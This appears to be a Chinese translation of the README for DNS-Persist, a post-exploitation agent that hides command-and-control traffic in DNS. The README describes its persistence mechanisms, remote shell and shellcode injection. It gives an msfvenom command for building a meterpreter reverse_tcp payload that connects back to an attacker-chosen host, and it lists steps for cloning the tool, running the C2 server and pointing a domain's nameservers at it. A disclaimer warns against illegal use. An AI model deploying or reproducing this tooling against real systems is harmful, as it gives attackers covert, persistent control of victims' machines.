DNS-Persist 是一个使用 DNS 进行命令与控制(C2)的后渗透代理。服务端代码使用 Python 编写,代理则使用 C++ 编写。这是第一个版本,未来会添加更多功能并持续改进。
0x09AL - https://twitter.com/0x09al
请勿将本软件用于非法用途。
作者不对任何滥用此处代码的行为承担任何责任。
关于 DNS C2 已有大量优秀的工作成果,但我创建这个软件是为了更专注于持久化部分。我不是 C++ 专家,这是我用 C++ 编写的第一个"真正的程序"(所以可能会看到一些令人尴尬的代码)。
欢迎提出关于功能和改进的建议。
主要有两个部分:

此版本只有 3 种持久化机制,后续会添加更多。
此版本支持伪交互式命令 Shell,可用于执行系统命令。
此版本支持注入 32 位 Shellcode。Shellcode 会在同一进程的新线程中执行,因此崩溃或无效的 Shellcode 也会导致代理崩溃。请避免在 Shellcode 中包含 NULL 字节。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
默认会在 53 端口启动一个 DNS 服务器。你可以在 server.py 文件中更改该端口。
我使用 Visual Studio 2010 编写代理,因此导入和编译应该相当容易。
请记得修改 Declarations.h 中的 DOMAIN_NAME 变量,使其与你的域名匹配。
域名的名称服务器(nameservers)应指向 DNS-Persist 的 IP 地址。
#define DOMAIN_NAME "example.com"



